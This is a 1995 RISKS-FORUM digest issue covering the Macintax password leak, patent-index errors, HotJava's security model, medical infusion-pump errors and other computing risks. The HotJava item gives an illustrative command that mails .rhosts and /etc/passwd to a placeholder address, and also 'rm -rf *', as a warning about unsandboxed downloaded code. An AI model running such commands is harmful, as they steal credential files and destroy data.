Subject: RISKS DIGEST 17.01
REPLY-TO: [email protected]

RISKS-LIST: RISKS-FORUM Digest  Monday 27 March 1995  Volume 17 : Issue 01

  FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND RELATED SYSTEMS (comp.risks)
  ACM Committee on Computers and Public Policy, Peter G. Neumann, moderator

***** See last item for further information, disclaimers, etc.       *****

 Contents:
Intuit's Macintax security lapse... (Bruce R Koball, Joe Morris)
Patent searchers frustrated by computer index errors (John Gray)
Sun's "Hot Java" will execute its code on your browser (Joe Smith)
Beakman's World on CBS covers bugs (Thomas E. Janzen)
A slight change in flight plan (Ric Forrester via Dave Horsfall)
Europe open border - serious bug in procedure (Thomas Tonino)
RISKS of non-standard interfaces (medical) (Richard I. Cook)
More risks of non-standard medical interfaces (Steve Allen)
Risks of doing date arithmetic *with* floating point (Geoff Kuenning)
YAOGMV (Yet Another Overhyped Government/Media Virus) (Rob Slade)
Info on RISKS (comp.risks), contributions, subscriptions, FTP, etc.

----------------------------------------------------------------------

Date: Fri, 24 Mar 1995 02:53:51 -0800
From: Bruce R Koball <[email protected]>
Subject: Intuit's Macintax security lapse...

Contending for software screw-up of the year, Intuit Inc., publishers of
Macintax, have copped to yet another flaw in their tax reporting software.
According to an article by Peter Lewis in The New York Times, 24 Mar 1995,
information [password, phone number] included in a Macintax debug file that
came with the standard distribution disks of the product enabled users to
log into the master computer used by Intuit to store and file Macintax
user's returns.

Once logged into the master computer, a user could reportedly download,
modify or delete other people's returns. The offending information was a
login ID and password for Intuit's master computer that was apparently
included in a debug file in plain text! The security hole was reported by an
unidentified user in E-mail to the NYT. Once Intuit was made aware of the
screwup they reportedly corrected it, but could give no assurances that any
of the 60,000 tax returns in the master computer hadn't been compromised.

Encryption is not used in the Intuit's product [but was intended to be].

------------------------------

Date: Fri, 24 Mar 1995 13:06:58 -0500
From: Joe Morris <[email protected]>
Subject: Intuit's Macintax security lapse...

[A _Washington Post_ article on 24 Mar 1995] reported that Intuit learned of
the problem "yesterday" (apparently Thursday, 23 March) from a customer's
call; according to the customer, he had been able to log onto the Unix
account and peruse the files there.

Also according to Intuit, the UNIX account is used only as a staging area,
and is swept to some other facility every eight hours.  Mark Goins (Intuit
VP of personal tax group) says that no more than 300 returns are in the
account at any time.

A rather scary bit of spin control by Intuit is reported in the article:
it quotes Bob Barr (identified as "vice-president of electronic services"
at Intuit) as downplaying the exposure:

   If a curious customer programmed his or her computer
   to dial up the number and supplied the password [from the
   plaintext file], they would have entry to the database
   holding the files.  Even so, Barr said, the person would
   have to have some familiarity with a computer programming
   language called UNIX [sic!], which is commonly used on the
   Internet, to peruse or alter any files.

as if knowing how to use UNIX commands is so rare a skill that its
use offers security.  It is, of course, possible that the reporter
mangled Barr's comment, but readers of RISKS-FORUM are all too
familiar with what can be done by someone who gets unauthorized access
to sensitive data.

This has definitely *not* been a particularly good year for Intuit.

Joe Morris

------------------------------

Date: Fri, 24 Mar 95 14:10:36 GMT
From: John Gray <[email protected]>
Subject: Patent searchers frustrated by computer index errors

"Gibberish puts searchers off the scent", New Scientist, 25 February 1995:

[Companies use professional patent searchers to determine the existence of
patents covering a particular subject and thus avoid later legal problems.
However, the electronic patent indexes contain errors which may give false
results in searches.]

 In the European Patent Office's index, for example, he found an organic
 compound in the phthylenone group which is indexed as an "ogthylene-3-one"
 -probably because the typists hand had slipped one key along the keyboard.
 [...]  Most mysterious of all, Steele [a professional patent searcher] found
 entries in the EPO's international Inpadoc database for patent applicants
 called Robaato Uiraaton Furemingu, Uiriamu Bii Reisufuiirudo, Bii Oo Shii
 Guruupu and Kuringe Fuarama.

 By digging out other patents with cross-indexed numbers, Steele decoded
 the names as Robert Willerton Fleming, William B. Laceford, the BOC Group
 and Klinge Pharma.

 Inpadoc's headquarters in Vienna automatically collates data from computer
 tapes supplied by 56 patent offices around the world. The Japanese tapes
 contain names which have been translated from Western originals into
 pictorial characters and back again by computer. The result is often
 gibberish, and there is no provision for human checking.'

[Obviously the potential legal problems arising from a faulty index could
have serious financial consequences. It also leaves the possibility of a
patent office awarding two patents for the same invention to different
people if the first patent submitted is mis-indexed.]

John Gray

   [But ogthylene and phthylenone really phthyletate mythpellingth.  PGN]

------------------------------

Date: Thu, 23 Mar 95 14:40:36 PST
From: [email protected] (Joe Smith)
Subject: Sun's "Hot Java" will execute its code on your browser

Paraphrased from a feature article above-the-fold on the front page of the
*San Jose Mercury News* for 23 March 1995:

       "Why Sun thinks Hot Java will give you a lift"

   Sun will be releasing a new Web browser next week that does more than
   download pictures and text that just sits there.  A demo showed a
   financial planning application with a ticker of selected stocks scrolling
   across the screen with up-to-the-minute quotes.

   The Hot Java browser downloads small software programs, which
   then run on the client (Sun SPARCstations running Solaris-2.x).

My immediate reaction was: this is a bad thing unless the client browser
runs the downloaded program in an interpreter that has very limited
capabilities.  Otherwise a fancy-looking Web page may be sending the
equivalent of
 system("head -999 .rhosts /.rhosts /etc/passwd | mail [email protected]")
or "rm -rf *" to your browser.

Following the URL in the newspaper article, I found that http://www.sun.com
was very slow this morning, and that the real information about the HotJava
WebRunner is at http://java.sun.com.  The document on "HotJava Security
Features" is at URL http://java.sun.com/1.0alpha2/doc/security/security.html
and addresses some of these concerns.

Joe Smith        MCI Data Services Div, Systems Tech Support (TYMNET Code Gen)
<[email protected]> 2560 N 1st St, MS-5046/746, San Jose, CA 95131 (408)922-6220

------------------------------

Date: Sat, 25 Mar 1995 14:30:43 +0001 (EST)
From: "Thomas E. Janzen" <[email protected]>
Subject: Beakman's World on CBS covers bugs

On the 25 March Beakman's World, a young people's "science" show on CBS,
they answered a viewer's question about how video games work by showing
how to write a simple program.  They finished program was as follows:

IF liza hits the button
THEN Lester picks up ball
THEN Lester throws the ball
AT TARGET

This program was not written correctly at first.  The first bug was that the
programmer, Liza, forgot the line "THEN Lester
picks up ball", so the giant lab rat threw his arm with no projectile.
This corrected, she tried again having neglected to specify "AT TARGET",
leaving the pitcher to throw in all directions but that desired.

As a result, young budding (unemployed) computer programmers were exposed
to the concept of risk in the case of incomplete system development.

But the viewers may have already surpassed this programming their home
computers.

Tom Janzen - [email protected] USA Distributed Real-Time Data Acquisition S/W
for Scientists and Engineers using POSIX, C, C++, X, Motif, Graphics, Audio

------------------------------

Date: Mon, 27 Mar 1995 12:30:03 +1000
From: Dave Horsfall <[email protected]>
Subject: A slight change in flight plan

I found this in the "Yucks Digest" V5 #10, Fri, 24 Mar 95:

Date: Thu, 16 Mar 95 4:24:29 PST
>From: Ric Forrester <[email protected]>
Subject: A slight change in flight plan

The BBC news at 08.30 reported a slight problem which occurred on the
morning of 15 Mar 1995 with the ultra high-tech, packed full of software and
therefore utterly wonderful Airbus A340.

Apparently on the final part of its approach to Gatwick, both the pilots
screens went blank, to be replaced by a polite little message saying "Please
wait ...".  Somewhat unnerved, the pilots requested that the plane turn
left, but it turned right instead.  They then tried to get it to adopt a 3
degree approach to the runway, but it chose a 9 degree plummet instead.  At
this point, from the report, they appeared to gain manual control and landed
safely.  It is not clear who will pick up the dry-cleaning bill.

------------------------------

Date: Mon, 27 Mar 95 18:31:29 +0200
From: [email protected] (Thomas Tonino)
Subject: Europe open border - serious bug in procedure

Since yesterday a new 'open border' regulation is in power in the
so-called Schengen countries. These comprise, as I believe, Belgium,
the Netherlands, Germany and France.

With this open border thing, it is not necessary to have a passport
or other ID anymore when crossing a border between this group of countries.

There is a check built in of course: on checking in, one gets a paper card
with a magnetic strip, this strip containing no personal information, but
only a date and time.

On arrival in the other country, one can straight pass through a turnstile,
without any ID being checked. ID checks are allowed though.

Anyway, in case of loss of this card, one can present his or her passport
and get in.

It seems at least some people have already used another persons paper
card to get into a country.

For this reason Paris still has the passport check, even though they
are supposed not to.

I wonder how anyone, even politicians, can come up with such a buggy system.
  [It is EASY, especially for politicians.  PGN]

As risk I see not only the possibility of criminals gaining easier access,
but also the possibility of 'random' checks on 'suspicious' looking people,
i.e., people with a dark(er) skin.

Thomas

------------------------------

Date: Thu, 23 Mar 1995 09:14:31 -0600
From: [email protected] (Richard I. Cook, M.D.)
Subject: RISKS of non-standard interfaces (medical)

Ry Jones <[email protected]> reported an unspecified study and personal
experience as argument in favor of "standard" interfaces for medical
equipment.  It is not controversial that such "standards" would be a good
idea, most of the discussion of designing and implementing such standards
amounts to Mom-and-apple-pie type statements.  Indeed, I have been critical
(Cook et al., Evaluating the Human Engineering of Microprocessor Controlled
Operating Room Devices, Journal of Clinical Monitoring 7:217-226,1991) of
attempts to introduce human engineering guidelines for medical equipment
because such guidelines necessarily represent a least- common-denominator
approach an end up ignoring the real cognitive consequences of using
microprocessor based technology.  Indeed, successful standards (e.g. the
ASTM's standard for the color and type on user applied drug labels for
syringes used during anesthesia, the ANSI standards for anesthesia machine
layout, color and pin index coding of gas lines, etc.) are nearly all
related to narrow mechanical issues and represent the rather stable
consensus of manufacturers and users regarding a very limited range of
issues.

To claim that a certain improvement in human performance would be achieved
by the production of a certain sort of standardization is assuredly untrue.
As indicated above, it is nearly impossible to produce such standards.  More
importantly, the claim that a certain benefit can be obtained is simply weak
counterfactual reasoning; it assumes that performance is derived from narrow
limitations and that these can readily be overcome for all practitioners.
There is, to my knowledge, no reliable or persuasive data suggesting that
this is true in any real sense.  Even in similarly complex, high consequence
domains (e.g. commercial aviation, military systems, nuclear power plant
operations) where efforts to produce such improvements have been intense and
sustained there are virtually no credible studies indicating quantity of
benefit derived from such standardization.

Many people who have only peripheral exposure to medicine are amazed at the
technological complexity of current practice.  It is clear that devices pose
a problem for operators, in part because they are poorly designed and poorly
manufactured (cf. Cook, et al., Unintentional Delivery of Vasoactive Drugs
With and Electromechanical Infusion Device.  Journal of Cardiothoracic and
Vascular Anesthesia 6: 238-244, 1992, Cook & Woods, Adapting to New
Technology in the Operating Room, in press) defining precisely how they are
bad demands detailed knowledge of the cognitive consequences of aspects of
their design which, in turn, requires detailed understanding of the
cognitive tasks of their users.  It is far from easy to produce adequate
guidance for the development of devices or for their evaluation, although
the FDA is interested in doing so.

The nature of the problem with infusion devices and their programming is
actually quite common and the problems associated with their use are many.
What is remarkable, for those of us who study these issues, is that human
practitioners are able to make these devices work despite the variety of
circumstances and limitations under which they are employed.  Most pumps
reflect a narrow balance between competing demands on designers.  I have a
nice figure that will be in a paper to be published late this year on the
subject.  Briefly, there is competition between capability of the device,
the complexity introduced by managing capability, and engineering issues,
especially power budget and display cost.  The risks of infusions are too
numerous to list here but one problem is the consequence of a mechanical
infusion into a non-intravascular space.  IV catheters can become
"infiltrated" in which case the infusion is no longer intravenous but
subcutaneous (or intramuscular, etc.) with associated consequences.  The use
of gravity to drive fluids sets and upper limit on applied pressure and
hence on the likely consequences of infiltration: in most cases, an
infiltrated IV simply stops running and is replaced.  Resistance to fluid
flow, however, follows Poiseuille's law and is proportional to the fourth
power of the radius.  Thus flows through small IVs are limited and higher
pressures are needed and a pump may be used, although the risk of forcing
fluid into an infiltrated IV is now present.  Pumps are designed with
various control parameters, including the maximum permissible pressure
applied to the fluid and this value is (for some) programmable.  It is quite
possible to have an undesirable set of circumstances when infusing fluids
under pressure (e.g. the mass effect of a liter of fluid in the subcutaneous
space of the arm can cause vascular compromise and subsequent tissue loss,
some drugs are toxic to tissue and must be diluted by high blood flow and
infusion of these into the non-vascular space can cause limb loss, etc. etc
etc.) so pump manufacturers are understandably chary of these settings and
many pumps have elaborate programming requirements.  The point is that
resolving these sorts of problems is non-trivial.

The notion of "standard" for everything is superficially attractive, but
most often the desire reflects a form of magical, wishful thinking: if
things were simple there wouldn't be a problem so our task is to make them
simple.  But things are complicated because the world is complicated and we
are doing complicated things.  Indeed, I would argue (see first ref.
above), that much of the problem we have with medical devices is the result
of designers attempting to produce a device surface that _appears_ simple
but actually hides a wealth of complexity.  I sometimes call this the "thin,
thin, thin computer candy shell" that hides the device from the user.
Unfortunately, the user is still responsible for the operation of the device
and (see 2nd ref) for diagnosing device failures.  This problem is not
addressed by standards or guidelines but rather by a prudent and detailed
approach to design (viz. Norman's books, Rasmussen's books, etc.).

Richard I. Cook, MD ** Department of Anesthesia ** University of Chicago

------------------------------

Date: Sat, 25 Mar 95 09:30:16 PST
From: [email protected]
Subject: More risks of non-standard medical interfaces

Incorrect use of IV pumps in hospitals can be much more serious than the
different needle sizes recently mentioned by Ry Jones.  To permit patients
to get pain relief without waiting for the nurses there are devices known as
PCAs (Patient Controlled Administration).  These are computer controlled
infusers which are piggy-backed onto an IV line.  They can be programmed to
deliver a certain continuous dosage and to permit the patient to press a
button for additional pain reliever in specified amounts at specified
intervals.  This should permit them to insure that no more than a prescribed
dose is given during any time interval.  These devices also record a history
log which can be used to determine how often the patient is demanding the
drug.  And the front panel locks to prevent the patient from modifying the
dosage.

The (semi-)standardized interface to these is that all analgesics must
come in 30 ml syringes in order to fit the pump mechanism.  The
problem with this is that different analgesics come in different
concentrations.  Demerol comes as 10 mg/ml, but morphine is 1 mg/ml,
etc.  The PCA interface requires the dosages to be specified in mg per
unit time, but the PCA itself can only measure ml, so in addition to
all the dosage information the nurse must also tell the PCA what is
the concentration of the drug in the syringe.

Recently I witnessed an incident where an entire day's worth of
Demerol was infused in 2 hours.  After administering an antidote, two
nurses tried to figure out what had gone wrong.  One of them explained
to the other that the programmed concentration had been 1 mg/ml
instead of 10 mg/ml, so the PCA had delivered the drug 10 times faster
than prescribed in order to satisfy its instructions.  The RISKS of
this are pretty obvious.

Steve Allen          UCO/Lick Observatory       Santa Cruz, CA 95064
[email protected]    Voice: +1 408 459 3046     FAX: +1 408 454 9863
Notice:  The lick.ucsc.edu domain is now changing to ucolick.org

------------------------------

Date: Fri, 24 Mar 95 11:50:14 PST
From: [email protected] (Geoff Kuenning)
Subject: Risks of doing date arithmetic *with* floating point (Ludemann, 16.93)

> But the error probably wouldn't have existed in the first place
> if the conversion code had been written with floating point instead
> of integer arithmetic.

Excuse me?  I hate to climb on my soapbox again, but this shows a remarkable
misunderstanding of both floating-point (in)accuracy and date conversion.
Dates as measured by computers are inherently integers, and thus should
*never* be manipulated using floating-point code.  If you're representing
down to seconds, you can fit nearly 70 years into 32 bits (cf. Unix).  If
you need more than that, it's very easy to use a 64-bit representation, and
convert it to two 32-bit quantities (such as julian date plus seconds within
year) early in the manipulation, even if your computer doesn't support
64-bit arithmetic.  If you need high resolution (e.g., nanoseconds) you
might need to use 96 bits, but it's still trivial to break things down into
quantities that are easily handled.  I'll agree that the 48-bit manipulation
in assembly was probably convoluted, but floating-point is not the proper
solution.  It makes me shudder.

 Geoff Kuenning        [email protected]     [email protected]
 http://ficus-www.cs.ucla.edu/ficus-members/geoff/

------------------------------

Date: Thu, 23 Mar 1995 16:17:37 EST
From: "Rob Slade, Social Convener to the Net" <[email protected]>
Subject: YAOGMV (Yet Another Overhyped Government/Media Virus)

The papers are reporting that potential disaster has been averted in the
Canadian financial community.  5200 disks containing information on the
Canadian Federal Budget were pulled, only hours before they were due to be
shipped, when a virus was discovered on them.  ThunderByte Scan is being
credited, since the master disk was allegedly checked twice before leaving
the Finance Department, and ThunderByte is an "advanced" antiviral product.

There are, however, a few questions to be answered.  How come nobody checked
*before* they made 5200 copies?  Is it possible that the duplication machine
was infected?  (Unlikely: duplicators usually have specialized equipment.
But possible.)  And, what virus was found?

Ah, this last is the cruncher.  Nobody has said what virus it was, yet lots
of people are saying that computers across the country could have been shut
down.  In actual fact, nobody *knows* what virus was found.  The closest
report I have been able to get from a knowledgeable source (and that source
is none to close) reports that ThunderByte reported an *unknown* boot sector
infector.  (Remember, ThunderByte is an "advanced" antiviral.  It uses
heuristics.  It's guessing.)  It is possible that ThunderByte has detected a
new, and previously unknown, virus.

It is also possible that there is no virus at all.

It is very likely that we never will know whether there was a virus or not.
Although press reports indicate that the RCMP is investigating, a lot of
other people appear to have done their own investigations first.  Thus, if
the disks *are* found to be infected, who knows *where* they got infected.

DECUS Canada Communications, Desktop, Education and Security group newsletters
Editor and/or reviewer [email protected], [email protected], Rob Slade at 1:153/733
Author "Robert Slade's Guide to Computer Viruses" 0-387-94311-0/3-540-94311-0

------------------------------

Date: 24 March 1995 (LAST-MODIFIED)
From: [email protected]
Subject: Info on RISKS (comp.risks), contributions, subscriptions, FTP, etc.

The RISKS Forum is a moderated digest.  Its USENET equivalent is comp.risks.
Undigestifiers are available throughout the Internet, but not from RISKS.

SUBSCRIPTIONS: PLEASE read RISKS as a newsgroup (comp.risks or equivalent) on
your system, if possible and convenient for you.  BITNET folks may use a
LISTSERV (e.g., LISTSERV@UGA): SUBSCRIBE RISKS or UNSUBSCRIBE RISKS.  U.S.
users on .mil or .gov domains should contact <[email protected]>
(Dennis Rears <[email protected]>).  UK subscribers please contact
<[email protected]>.  Local redistribution services are
provided at many other sites as well.  Check FIRST with your local system or
netnews wizards.  If that does not work, THEN please send requests to
<[email protected]> (which is not yet automated).  SUBJECT: SUBSCRIBE
or UNSUBSCRIBE; text line (UN)SUBscribe RISKS [address to which RISKS is sent]

CONTRIBUTIONS: to [email protected], with appropriate, substantive Subject:
line, otherwise they may be ignored.  Must be relevant, sound, in good taste,
objective, cogent, coherent, concise, and nonrepetitious.  Diversity is
welcome, but not personal attacks.  PLEASE DO NOT INCLUDE ENTIRE PREVIOUS
MESSAGES in responses to them.  Contributions will not be ACKed; the load is
too great.  **PLEASE** include your name & legitimate Internet FROM: address,
especially from .UUCP and .BITNET folks.  Anonymized mail is not accepted.
ALL CONTRIBUTIONS CONSIDERED AS PERSONAL COMMENTS; USUAL DISCLAIMERS APPLY.
Relevant contributions may appear in the RISKS section of regular issues
of ACM SIGSOFT's SOFTWARE ENGINEERING NOTES, unless you state otherwise.
All other reuses of RISKS material should respect stated copyright notices,
and should cite the sources explicitly; as a courtesy, publications using
RISKS material should obtain permission from the contributors.

RISKS can also be read on the web at URL http://catless.ncl.ac.uk/Risks
  Individual issues can be accessed using a URL of the form
  http://catless.ncl.ac.uk/Risks/VL.IS.html
  (Please report any format errors to [email protected])

RISKS ARCHIVES: "ftp unix.sri.com<CR>login anonymous<CR>[YourNetAddress]<CR>
cd risks<CR> or cwd risks<CR>, depending on your particular FTP.
Issue J of volume 17 is in that directory: "get risks-17.J<CR>".  For issues
of earlier volumes, "get I/risks-I.J<CR>" (where I=1 to 16, J always TWO
digits) for Vol I Issue j.  Vol I summaries in J=00, in both main directory
and I subdirectory; "bye<CR>"  I and J are dummy variables here.  REMEMBER,
Unix is case sensitive; file names are lower-case only.  <CR>=CarriageReturn;
UNIX.SRI.COM = [128.18.30.66]; FTPs may differ; Unix prompts for username and
password.  Also ftp [email protected].  WAIS repository exists at
server.wais.com [192.216.46.98], with DB=RISK (E-mail [email protected] for info)
  or visit the web wais URL http://www.wais.com/ .
Management Analytics Searcher Services (1st item) under http://all.net:8080/
also contains RISKS search services, courtesy of Fred Cohen.  Use wisely.

------------------------------

End of RISKS-FORUM Digest 17.01
************************

You are viewing proxied material from gopher.quux.org. The copyright of proxied material belongs to its original authors. Any comments or complaints in relation to proxied material should be directed to the original authors of the content concerned. Please see the disclaimer for more details.